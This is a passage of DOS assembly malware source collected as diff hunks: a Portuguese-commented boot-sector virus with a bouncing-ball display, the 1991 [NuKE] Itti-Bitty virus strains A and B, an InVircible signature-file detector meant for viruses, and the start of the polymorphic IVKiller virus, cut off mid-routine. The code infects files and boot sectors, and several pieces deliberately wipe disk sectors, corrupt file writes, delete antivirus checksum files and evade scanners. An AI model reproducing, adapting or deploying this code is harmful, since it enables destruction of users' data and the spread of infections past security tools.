push cs ; Agora sim , ja' estamos nos tais 2K
pop ds
call reset ; fazer duas vezes um "reset" ao
reset: xor ah,ah ; controlador de disco
int 13
and byte ptr ds:drive,80
mov bx,ds:sector ; Sector onde esta' o resto do virus
push cs
pop ax
sub ax,0020
mov es,ax
call ler_sector ; Ler o resto do virus da drive
mov bx,ds:sector
inc bx
mov ax,0ffc0 ; Carregar o sector de boot original
mov es,ax
call ler_sector
xor ax,ax
mov ds:estado,al
mov ds,ax
mov ax,ds:[004c] ; "Confiscar" o interrupt 13
mov bx,ds:[004e] ; ( operacoes sobre disquetes/discos )
mov word ptr ds:[004c],offset int_13
mov ds:[004e],cs
push cs
pop ds
mov word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13
mov word ptr ds:velho_13+2,bx
mov dl,ds:drive
jmpf 0:7c00 ; Efectuar o arranque do sistema
Esc_Sector proc near
mov ax,0301 ; Escrever um sector da drive
jmp short cs:transferir
Esc_Sector endp
Ler_Sector proc near
mov ax,0201 ; Ler um sector da drive
Ler_Sector endp
Transferir proc near ; Efectuar uma transferencia de dados
xchg ax,bx ; de ou para a drive
add ax,ds:[7c1c] ; Este procedimento tem como entrada
xor dx,dx ; o numero do sector pretendido ( BX )
div ds:[7c18] ; e de seguida sao feitas as contas
inc dl ; para saber qual a pista e o lado
mov ch,dl ; onde esse sector fica
xor dx,dx
div ds:[7c1a]
mov cl,06
shl ah,cl
or ah,ch
mov cx,ax
xchg ch,cl
mov dh,dl
mov ax,bx ; Depois de todas as contas feitas
transf: mov dl,ds:drive ; pode-se chamar o interrupt 13H
mov bx,8000 ; es:bx = end. de transferencia
int 13
jnb trans_exit
pop ax
trans_exit: ret
Transferir endp
Int_13 proc near ; Rotina de atendimento ao int. 13H
push ds ; (operacoes sobre discos e disquetes)
push es
push ax
push bx
push cx
push dx
push cs
pop ds
push cs
pop es
test byte ptr ds:estado,1 ; Testar se se esta' a ver se o virus
jnz call_BIOS ; esta' no disco
cmp ah,2
jnz call_BIOS
cmp ds:drive,dl ; Ver se a ultima drive que foi
mov ds:drive,dl ; mexida e' igual a' drive onde
jnz outra_drv ; se vai mexer
xor ah,ah ; Neste momento vai-se tirar a' sorte
int 1a ; para ver se o virus fica activo
test dh,7f ; Isto e' feito a partir da leitura
jnz nao_desp ; da hora e se for igual a um dado
test dl,0f0 ; numero , o virus e' despoletado
jnz nao_desp
push dx ; Instalar o movimento da bola
call despoletar
pop dx
nao_desp: mov cx,dx
sub dx,ds:semente
mov ds:semente,cx
sub dx,24
jb call_BIOS
outra_drv: or byte ptr ds:estado,1 ; Indicar que se esta' a testar a
push si ; presenca ou nao do virus na drive
push di
call contaminar
pop di
pop si
and byte ptr ds:estado,0fe ; Indicar fim de teste de virus
call_BIOS: pop dx
pop cx
pop bx
pop ax
pop es
pop ds
Velho_13 equ $+1
jmpf 0:0
Int_13 endp
Contaminar proc near
mov ax,0201
mov dh,0
mov cx,1
call transf
test byte ptr ds:drive,80 ; Pediu-se um reset a' drive ?
jz testar_drv ; Sim , passar a' contaminacao directa
mov si,81be
mov cx,4
proximo: cmp byte ptr [si+4],1
jz ler_sect
cmp byte ptr [si+4],4
jz ler_sect
add si,10
loop proximo
ret
ler_sect: mov dx,[si] ; Cabeca+drive
mov cx,[si+2] ; Pista+sector inicial
mov ax,0201 ; Ler esse sector
call transf
testar_drv: mov si,8002 ; Comparar os 28 primeiros bytes para
mov di,7c02 ; ver se o sector de boot e' o mesmo
mov cx,1c ; i.e. ver se a drive ja' foi virada !
repz movsb
cmp word ptr ds:[offset flag+0400],1357
jnz esta_limpa
cmp byte ptr ds:flag_2,0
jnb tudo_bom
mov ax,word ptr ds:[offset prim_dados+0400]
mov ds:prim_dados,ax ; Se chegar aqui entao a disquete ja'
mov si,ds:[offset sector+0400] ; esta' contaminada !
jmp infectar
tudo_bom: ret
; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora
; proceder a' respectiva contaminacao !
esta_limpa: cmp word ptr ds:[800bh],0200; Bytes por sector
jnz tudo_bom
cmp byte ptr ds:[800dh],2 ; Sectores por cluster
jb tudo_bom
mov cx,ds:[800e] ; Sectores reservados
mov al,byte ptr ds:[8010] ; Numero de FAT's
cbw
mul word ptr ds:[8016] ; Numero de sectores de FAT
add cx,ax
mov ax,' '
mul word ptr ds:[8011] ; Numero de entradas na root
add ax,01ff
mov bx,0200
div bx
add cx,ax
mov ds:prim_dados,cx
mov ax,ds:[7c13] ; Numero de sectores da drive
sub ax,ds:prim_dados
mov bl,byte ptr ds:[7c0dh] ; Numero de sectores por cluster
xor dx,dx
xor bh,bh
div bx
inc ax
mov di,ax
and byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior
cmp ax,0ff0 ; a 0FF0 entao cada entrada na FAT sao
jbe sao_3 ; 4 nibbles senao sao 3
or byte ptr ds:estado,4 ; 4 = disco duro ?
sao_3: mov si,1 ; Escolher sector a infectar
mov bx,ds:[7c0e] ; Numero de sectores reservados
dec bx
mov ds:inf_sector,bx ; Sector a infectar
mov byte ptr ds:FAT_sector,0fe
jmp short continua
Inf_Sector dw 1 ; Sector a infectar
Prim_Dados dw 0c ; Numero do primeiro sector de dados
Estado db 0 ; Estado actual do virus (instalado/nao instalado,etc)
Drive db 1 ; Drive onde se pediu uma accao
Sector dw 0ec ; Sector auxiliar para procura do virus
Flag_2 db 0 ; Estes proximos valores servem para ver se o virus
Flag dw 1357 ; ja' esta' ou nao presente numa drive , bastando
dw 0aa55 ; comparar se estes valores batem certos para o saber
continua: inc word ptr ds:inf_sector
mov bx,ds:inf_sector
add byte ptr ds:[FAT_sector],2
call ler_sector
jmp short l7e4b
; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do
; virus
verificar: mov ax,3 ; Media descriptor + ff,ff
test byte ptr ds:estado,4 ; disco duro ?
jz l7e1d
inc ax ; Sim , FAT comeca 1 byte mais adiante
l7e1d: mul si ; Multiplicar pelo numero do cluster
shr ax,1
sub ah,ds:FAT_sector
mov bx,ax
cmp bx,01ff
jnb continua
mov dx,[bx+8000] ; Ler a entrada na FAT
test byte ptr ds:estado,4
jnz l7e45
mov cl,4
test si,1
jz l7e42
shr dx,cl
l7e42: and dh,0f
l7e45: test dx,0ffff ; Se a entrada na FAT for zero,entao
jz l7e51 ; descobriu-se um cluster para por o
l7e4b: inc si ; virus , senao passa-se ao proximo
cmp si,di ; cluster ate' achar um bom
jbe verificar
ret
; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se
; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
; como um "bad cluster" para o DOS nao aceder a ele
l7e51: mov dx,0fff7 ; Marcar um "bad cluster" (ff7)
test byte ptr ds:estado,4 ; Ver qual o tamanho das ents. na FAT
jnz l7e68 ; ( 3 ou 4 nibbles )
and dh,0f
mov cl,4
test si,1
jz l7e68
shl dx,cl
l7e68: or [bx+8000],dx
mov bx,word ptr ds:inf_sector ; Infectar sector !!!
call esc_sector
mov ax,si
sub ax,2
mov bl,ds:7c0dh ; Numero de sectores por cluster
xor bh,bh
mul bx
add ax,ds:prim_dados
mov si,ax ; SI = sector a infectar
mov bx,0 ; Ler o sector de boot original
call ler_sector
mov bx,si
inc bx
call esc_sector ; ... e guarda'-lo depois do virus
infectar: mov bx,si
mov word ptr ds:sector,si
push cs
pop ax
sub ax,20 ; Escrever o resto do virus
mov es,ax
call esc_sector
push cs
pop ax
sub ax,40
mov es,ax
mov bx,0 ; Escrever no sector de boot o virus
call esc_sector
ret
Contaminar endp
Semente dw ? ; Esta word serve para fins de
; temporizacao da bola a saltar
FAT_sector db 0 ; Diz qual e' o numero do sector que
; se esta' a percorrer quando se
; vasculha a FAT
Despoletar proc near ; Comecar a mostrar a bola no ecran
test byte ptr ds:estado,2 ; Virus ja' esta' activo ?
jnz desp_exit ; Sim ,sair
or byte ptr ds:estado,2 ; Nao , marcar activacao
mov ax,0
mov ds,ax
mov ax,ds:20 ; Posicionar interrupt 8 (relogio)
mov bx,ds:22
mov word ptr ds:20,offset int_8
mov ds:22,cs
push cs
pop ds ; E guardar a rotina anterior
mov word ptr ds:velho_8+8,ax
mov word ptr ds:velho_8+2,bx
desp_exit: ret
Despoletar endp
Int_8 proc near ; Rotina de atendimento ao interrupt
push ds ; provocado pelo relogio 18.2 vezes
push ax ; por segundo . Neste procedimento
push bx ; e' que se faz o movimento da bola
push cx ; pelo ecran
push dx
push cs
pop ds
mov ah,0f ; Ver qual o tipo de modo de video
int 10
mov bl,al
cmp bx,ds:modo_pag ; Comparar modo e pagina de video com
jz ler_cur ; os anteriores
mov ds:modo_pag,bx ; Quando aqui chega mudou-se o modo
dec ah ; de video
mov ds:colunas,ah ; Guardar o numero de colunas
mov ah,1
cmp bl,7 ; Comparar modo com 7 (80x25 Mono)
jnz e_CGA
dec ah
e_CGA: cmp bl,4 ; Ve se e' modo grafico
jnb e_grafico
dec ah
e_grafico: mov ds:muda_attr,ah
mov word ptr ds:coordenadas,0101
mov word ptr ds:direccao,0101
mov ah,3 ; Ler a posicao do cursor
int 10
push dx ; ... e guarda-la
mov dx,ds:coordenadas
jmp short limites
ler_cur: mov ah,3 ; Ler a posicao do cursor ...
int 10
push dx ; ... e guarda-la
mov ah,2 ; Posicionar o cursor no sitio da bola
mov dx,ds:coordenadas
int 10
mov ax,ds:carat_attr
cmp byte ptr ds:muda_attr,1
jnz mudar_atr
mov ax,8307 ; Atributos e carater 7
mudar_atr: mov bl,ah ; Carregar carater 7 (bola)
mov cx,1
mov ah,9 ; Escrever a bola no ecran
int 10
limites: mov cx,ds:direccao ; Agora vai-se ver se a bola esta' no
cmp dh,0 ; ecran . Linha = 0 ?
jnz linha_1
xor ch,0ff ; Mudar direccao
inc ch
linha_1: cmp dh,18 ; Linha = 24 ?
jnz coluna_1
xor ch,0ff ; Mudar direccao
inc ch
coluna_1: cmp dl,0 ; Coluna = 0 ?
jnz coluna_2
xor cl,0ff ; Mudar direccao
inc cl
coluna_2: cmp dl,ds:colunas ; Colunas = numero de colunas ?
jnz esta_fixe
xor cl,0ff ; Mudar direccao
inc cl
esta_fixe: cmp cx,ds:direccao ; Mesma direccao ?
jnz act_bola
mov ax,ds:carat_attr
and al,7
cmp al,3
jnz nao_e
xor ch,0ff
inc ch
nao_e: cmp al,5
jnz act_bola
xor cl,0ff
inc cl
act_bola: add dl,cl ; Actualizar as coordenadas da bola
add dh,ch
mov ds:direccao,cx
mov ds:coordenadas,dx
mov ah,2
int 10
mov ah,8 ; Ler carater para onde vai a bola
int 10
mov ds:carat_attr,ax
mov bl,ah
cmp byte ptr ds:muda_attr,1
jnz nao_muda
mov bl,83 ; Novo atributo
nao_muda: mov cx,1
mov ax,0907 ; Escrever a bola no ecran
int 10
pop dx
mov ah,2 ; Recolocar o cursor no posicao onde
int 10 ; estava antes de escrever a bola
pop dx
pop cx
pop bx
pop ax
pop ds
velho_8 equ $+1
jmpf 0:0
Int_8 endp
Carat_attr dw ? ; 7fcd
Coordenadas dw 0101 ; 7fcf
Direccao dw 0101 ; 7fd1
Muda_attr db 1 ; 7fd3
Modo_pag dw ? ; 7fd4
Colunas db ? ; 7fd6
; Os bytes que se seguem destinam-se a reservar espaco para o stack
Virus ENDS
END begin

@@ -0,0 +1,124 @@
; Itti-Bitty Virus, Strain A
; The world's smallest virus (except for Strain B, but still only 161 bytes)
;
; (C) 1991 Nowhere Man and [NuKE] WaErZ
; Written by Nowhere Man
title "The Itti-Bitty Virus, Strain A: The smallest virus ever"
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
code_length equ finish - start
start label near
id_bytes proc near
mov si,si ; Serves no purpose: our ID
id_bytes endp
main proc near
mov ax,0FF0Fh ; Virex installation check function
int 021h
cmp ax,0101h ; Is Virex loaded?
je exit_virus ; If so, then bail out now
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds attribute mask
mov dx,offset com_spec ; DX points to "*.COM"
file_loop: int 021h
jc go_off ; If there are no files, go off
call infect_file ; Try to infect found file
jne exit_virus ; Exit if successful
mov ah,04Fh ; DOS find next file function
jmp short file_loop ; Repeat until out of files
exit_virus: mov ah,9 ; DOS display string function
mov dx,offset fake_error ; DX points to fake error message
int 021h
mov ax,04C01h ; DOS terminate function, code 1
int 021h
main endp
go_off proc near
cli ; Prevent all interrupts
mov ah,2 ; AH holds drive number (C:)
cwd ; Start with sector 0 (boot sector)
mov cx,0100h ; Write 256 sectors (fucks disk)
int 026h ; DOS absolute write interrupt
jmp $ ; Infinite loop; lock up computer
go_off endp
infect_file proc near
mov ax,04301h ; DOS set file attributes function
xor cx,cx ; Clear all attributes
mov dx,09Eh ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, read-write
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,2 ; CX holds byte to read (2)
mov dx,offset buffer ; DX points to buffer
int 021h
cmp word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI"
pushf ; Save flags
je close_it_up ; If not, then file is OK
cwd ; Zero CX \_ Zero bytes from start
mov cx,dx ; Zero DX /
mov ax,04200h ; DOS file seek function, start
int 021h
mov ah,040h ; DOS write to file function
mov cx,code_length ; CX holds virus length
mov dx,offset start ; DX points to start of virus
int 021h
close_it_up: mov si,095h
lodsb
push ax ; Save file's attributes for later
lodsw
xchg cx,ax ; CX holds [096h]
lodsw
xchg dx,ax ; DX holds [098h]
mov ax,05701h ; DOS set file time function
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
pop cx ; CX holds file's old attributes
mov dx,09Eh ; DX points to victim's name
int 021h
popf ; Restore flags
ret ; Return to caller
buffer dw ? ; Buffer to hold test data
infect_file endp
; Initialized data goes here
com_spec db "*.COM",0 ; What to infect: all COM files
fake_error db "EXEC failure",13,10,"$" ; Fake error message
finish label near
code ends
end id_bytes
@@ -0,0 +1,96 @@
; The Itti-Bitty Virus, Strain B
; The smallest virus ever written (only 99 bytes)
;
; (C) 1991 Nowhere Man and [NuKE] WaErZ
; Written by Nowhere Man
;
;
title "The Itti-Bitty Virus, Strain B: Even smaller"
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
code_length equ finish - start
start label near
id_bytes proc near
mov si,si ; Serves no purpose: our ID
id_bytes endp
main proc near
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds attribute mask
mov dx,offset com_spec ; DX points to "*.COM"
file_loop: int 021h
jc go_off ; If there are no files, go off
call infect_file ; Try to infect found file
jne exit_virus ; Exit if successful
mov ah,04Fh ; DOS find next file function
jmp short file_loop ; Repeat until out of files
exit_virus: mov ax,04C01h ; DOS terminate function, code 1
int 021h
main endp
go_off proc near
cli ; Prevent all interrupts
mov ah,2 ; AH holds drive number (C:)
cwd ; Start with sector 0 (boot sector)
mov cx,0100h ; Write 256 sectors (fucks disk)
int 026h ; DOS absolute write interrupt
jmp $ ; Infinite loop; lock up computer
go_off endp
infect_file proc near
mov ax,03D02h ; DOS open file function, read-write
mov dx,09Eh ; DX points to the victim
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,2 ; CX holds byte to read (2)
mov dx,offset buffer ; DX points to buffer
int 021h
cmp word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI"
pushf ; Save flags
je close_it_up ; If not, then file is OK
cwd ; Zero CX \_ Zero bytes from start
mov cx,dx ; Zero DX /
mov ax,04200h ; DOS file seek function, start
int 021h
mov ah,040h ; DOS write to file function
mov cx,code_length ; CX holds virus length
mov dx,offset start ; DX points to start of virus
int 021h
close_it_up: mov ah,03Eh ; DOS close file function
int 021h
popf ; Restore flags
ret ; Return to caller
buffer dw ? ; Buffer to hold test data
infect_file endp
; Initialized data goes here
com_spec db "*.COM",0 ; What to infect: all COM files
finish label near
code ends
end id_bytes
@@ -0,0 +1,143 @@
;
; InVircible Signature File Scanner for v6.02, (c)1995 ûirogen [NuKE]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Zvi changed his signature files a little in v6.02; although all the
; documentation says that he changed it in v6.01d, I never noticed a change
; until this new version. Anywayz, what he did was simply change his little
; verification word to one that my previous algorithm would think was a false
; positive. Namely 'MZ', 'PK', and 60EAh (which corresponds to EXE headers,
; PKZIP archives, and ARJ archives, respectively). So, since we can't just
; look at the first word of the file, else we'll have many false positives,
; we simply check the next record (42h bytes) for a valid signature. If both
; records contain a valid signature then it's almost definatly an invircible
; signature file.
;
; This utility is an example of how to detect InVircible signature files.
; It skips files larger than 16896 bytes, as it's unlikely that a signature
; file will contain more than 256 different entries and the speed increase
; is definatly of worth in a virus. To use, just run it and it'll scan all
; files in the current directory for InVircible signatures.
;
;
segment cseg
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
max_size equ 256*66 ; maximum size of file to scan
lf equ 0ah
cr equ 0dh
org 100h
start:
lea dx,vanity ; credz..
call disp
mov ah,1ah
lea dx,ff_info
int 21h ; set DTA
xor bp,bp
xor cx,cx
lea dx,filespec
mov ah,4eh
int 21h ; find first
jnc find_loop
jmp exit
find_loop:
inc bp ; bp is our counter
lea dx,msg1 ; display 'Testing:'
call disp
lea dx,f_name
push dx
call disp ; display file name
mov ax,3d00h ; open file
pop dx
int 21h
jnc no_error
lea dx,error
call disp
jmp not_iv
no_error:
xchg ax,bx ; get handle
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h ; get file size
cmp dx,0
jnz close
cmp ax,max_size ; file too big?
jae close
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h ; reset file pointer
mov ah,3fh ; read first 44h bytes
mov cx,44h
lea dx,buf
int 21h
cmp ax,44h ; was there only one record?
jz close
mov ax,word ptr buf ; if so simulate second record
mov word ptr buf[42h],ax
close:
mov ah,3eh ; close
int 21h
lea di,buf
call chk_iv
jnz not_iv
lea di,buf[42h]
call chk_iv
jnz not_iv
lea dx,is_iv ; display affirmatice
call disp
not_iv:
mov ah,4fh ; find next
int 21h
jc exit
jmp find_loop
exit:
cmp bp,0 ; find any files?
jnz some_done
lea dx,no_files ; if not, display a msg
call disp
some_done:
lea dx,done
call disp
ret
chk_iv:
cmp word ptr [di],0EA60h ; check record
jz yea_iv
cmp word ptr [di],'KP'
jz yea_iv
cmp word ptr [di],'ZM'
yea_iv:
ret
disp: ; displays null terminated string via
mov cx,0ffh ; DOS
mov di,dx
xor ax,ax
repnz scasb ; search for null
dec di
push di
mov byte ptr [di],'$' ; replace with '$'
mov ah,9
int 21h
pop di
mov byte ptr [di],0 ; reset null
ret
vanity db cr,lf,'ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ'
db cr,lf,' InVircible v6.02 Signature File Detector, (c)1995 ûirogen [NuKE]'
db cr,lf,'ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ',cr,lf,0
msg1 db cr,lf,'Testing File: ',0
no_files db cr,lf,' No files found!',cr,lf,0
is_iv db cr,lf,' þ Is an Invircible Signature File!',0
error db cr,lf,' þ Error Opening! Is this file in the current dir?',0
done db cr,lf,cr,lf,' Scan Complete.',cr,lf,0
filespec db '*.*',0
ff_info db 30 dup(0)
f_name db 13 dup(0)
buf db 44h dup(0)
cseg ends
end start
@@ -0,0 +1,479 @@
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
; IVKiller - (c)1995 ûirogen - Using ûiCE v0.2á
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
;
; This is yet another virus in what I call my Feb '95 series. Anywayz, this
; virus's main point is that it candelete Invircible signature files.
; Something I haven't seen included with any other viruses.
;
; þ Polymorphic utilizing ViCE v0.2á. JMPS on, Anti-TBSCAN on.
; þ Infects COM and EXE when executed.
; þ COM Infection marker: fourth byte is 0
; þ EXE infection marker: Checksum in header not equal to 0.
; þ Time/Date do not change
; þ Read-only and hidden files will be infected, and attributes restored.
; þ Virus installs its own critical error handler
; þ Deletes MSAV/CPAV CHecksum filez..
; þ Deletes Invircible Signature files
; þ Activates on the second of any month, at which time it will phuck
; up all file writes using INT 21h/func 40h.
;
cseg segment
assume cs:cseg, ds:cseg, es:cseg, ss:cseg
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
special equ 11h
act_day equ 3
buf_size equ 170
vice_size equ 1587+buf_size
virus_size equ (offset vend-offset start)+VICE_SIZE
extrn _vice:near
org 0h
start:
push ds es
inc si
mov ax,1000h ; looks like legit. INT call..
add ax,signal-1000h ; are we memory resident?
mov dx,vsafe_word
mov bl,special
int 21h
call nx ; get relative offset
nx: pop bp
sub bp,offset nx
or si,si
jz no_install ; if carry then we are
call crypt ; decrypt the next few bytez
c_start:
mov cs:activate[bp],0
mov ah,2ah ; get date
int 21h
cmp dl,act_day ;
jnz no_act
mov cs:activate[bp],1
no_act:
mov ax,ds ; PSP segment
dec ax ; mcb below PSP m0n
mov ds,ax ; DS=MCB seg
cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain?
jnz no_install
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
mov es,word ptr ds: [12h] ; get high mem seg
push cs
pop ds
mov si,bp
mov cx,virus_size/2+1
xor di,di
rep movsw ; copy code to new seg
xor ax,ax
mov ds,ax ; null ds
push ds
lds ax,ds: [21h*4] ; get 21h vector
mov es: word ptr old21+2,ds ; save S:O
mov es: word ptr old21,ax
pop ds
mov ds: [21h*4+2],es ; new int 21h seg
mov ds: [21h*4],offset new21 ; new offset
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem
c_end:
no_install:
pop es ds ; restore ES DS
cmp cs:is_exe[bp],1
jz exe_return
lea si,org_bytes[bp] ; com return
mov di,0100h ; -restore first 4 bytes
mov cx,2
rep movsw
mov ax,100h ; jump back to 100h
push ax
_ret:ret
exe_return:
mov cx,ds ; calc. real CS
add cx,10h
add word ptr cs:[exe_jump+2+bp],cx
int 3 ; fix prefetch
db 0eah
exe_jump dd 0
is_exe db 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Crypts portion of virus
;
crypt_res:
xor bp,bp
crypt:
lea si,c_start
add si,bp
mov cx,(offset c_end-offset c_start)
add byte ptr cs:xor_op[bp],10h ; self modifying code...
int 3 ; fix prefetch
l1:
db 2Eh
xor_op db 70h,34h ; tbscan won't flag this bitch
xor_val db 0
inc si
loop l1
sub byte ptr cs:xor_op[bp],10h ; unmodify code
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Infection routine - called from INT 21h handler.
; DS:DX=fname
;
infect_file:
int 3
push dx
pop si
push ds
xor ax,ax ; null ES
mov es,ax
lds ax,es:[24h*4] ; get INT 24h vector
mov cs:old_24_off,ax ; save it
mov cs:old_24_seg,ds
mov es:[24h*4+2],cs ; install our handler
mov es:[24h*4],offset new_24
pop ds
push es ; we'll need it later
push cs
pop es
mov ax,4300h ; get phile attribute
int 21h
mov ax,4301h ; null attribs
push ax cx ; save AX-call/CX-attrib
xor cx,cx
int 21h
mov ax,3d02h ; open the file
int 21h
jc dont_do
mov bx,ax ; get handle
push cs
pop ds
call kill_chklst ; kill MSAV and CPAV checksum files
call kill_iv ; kill Invircible Signature Files
mov ah,3fh ; Read first bytes of file
mov cx,20h
lea dx,org_bytes
int 21h
cmp byte ptr org_bytes,'M' ; single byte avoids heuristic flag
jz do_exe
cmp byte ptr org_bytes+3,0
jz close
mov is_exe,0
mov ax,5700h ; get time/date
int 21h
push cx dx
call offset_end
push ax ; AX=end of file
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor/
push di ; encrypted code. (at heap)
mov cx,virus_size ; CX=virus size
mov dx,ax ; DX=EOF offset
add dx,100h ; DX=offset decryptor will run from
mov al,00001111b ; jmps,anti-tbscan, garbage, no CS:
call _vice ; call engine!
pop dx
mov ah,40h
int 21h
call offset_zero
pop ax ; restore COM file size
sub ax,3 ; calculate jmp offset
mov word ptr new_jmp+1,ax
lea dx,new_jmp
mov cx,4
mov ah,40h
int 21h
pop dx cx ; pop date/time
mov ax,5701h ; restore the mother fuckers
int 21h
close:
pop cx ax ; restore attrib
int 21h
call close_phile
dont_do:
pop es ; ES=0
lds ax,dword ptr old_24_off ; restore shitty DOS error handler
mov es:[24h*4],ax
mov es:[24h*4+2],ds
ret
do_exe:
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
jnz close
cmp byte ptr exe_header[18h],52h ; pklite'd?
jz exe_ok
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
jge close
exe_ok:
push bx
mov ah,2ch ; grab a random number
int 21h
mov word ptr exe_header[12h],dx ; mark that it's us
mov is_exe,1
les ax,dword ptr exe_header+14h ; Save old entry point
mov word ptr ds:exe_jump, ax
mov word ptr ds:exe_jump+2, es
push cs
pop es
call offset_end
push dx ax ; save file size DX:AX
mov bx, word ptr exe_header+8h ; calc. new entry point
mov cl,4 ; *16
shl bx,cl ; ^by shifting one byte
sub ax,bx ; get actual file size-header
sbb dx,0
mov cx,10h ; divide AX/CX rDX
div cx
mov word ptr exe_header+14h,dx
mov word ptr exe_header+16h,ax
mov rel_off,dx
pop ax ; AX:DX file size
pop dx
pop bx
mov cx,virus_size+10h ; calc. new size
adc ax,cx
mov cl,9 ; calc new alloc (512)
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax ; ax=size+virus
and ah,1
mov word ptr exe_header+4h,dx
mov word ptr exe_header+2h,ax
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor and
push di ; encrypted code (at heap)
mov cx,virus_size ; CX=virus size
mov dx,rel_off ; DX=offset decryptor will run from
mov al,00001110b ; jmps,anti-tbscan,garbage, use CS:
call _vice ; call engine!
pop dx
mov ah,40h
int 21h
call offset_zero
mov cx,18h ; write fiXed header
lea dx,exe_header
mov ah,40h
int 21h
jmp close
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; set file ptr
offset_zero: ; self explanitory
xor al,al
jmp set_fp
offset_end:
mov al,02h
set_fp:
mov ah,42h
xor cx,cx
xor dx,dx
int 21h
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; close file
;
close_phile:
mov ah,3eh
int 21h
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Kill those darned MSAV and CPAV filez..
;
kill_chklst:
mov di,2 ; counter for loop
lea dx,first_2die ; first fname to kill
kill_loop:
call delete_phile
lea dx,last_2die ; second fname to kill
dec di
jnz kill_loop
ret
first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum
last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Resets attribs then deletes phile -> DS:DX
;
delete_phile:
mov ax,4301h ; reset attribs
xor cx,cx
int 21h
mov ah,41h
int 21h
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Set DTA
;
set_dta:
mov ah,1ah
int 21h
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Kill Invircible Signature Files
;
kill_iv:
push bx
lea dx,ff_info
call set_dta
lea dx,filespec
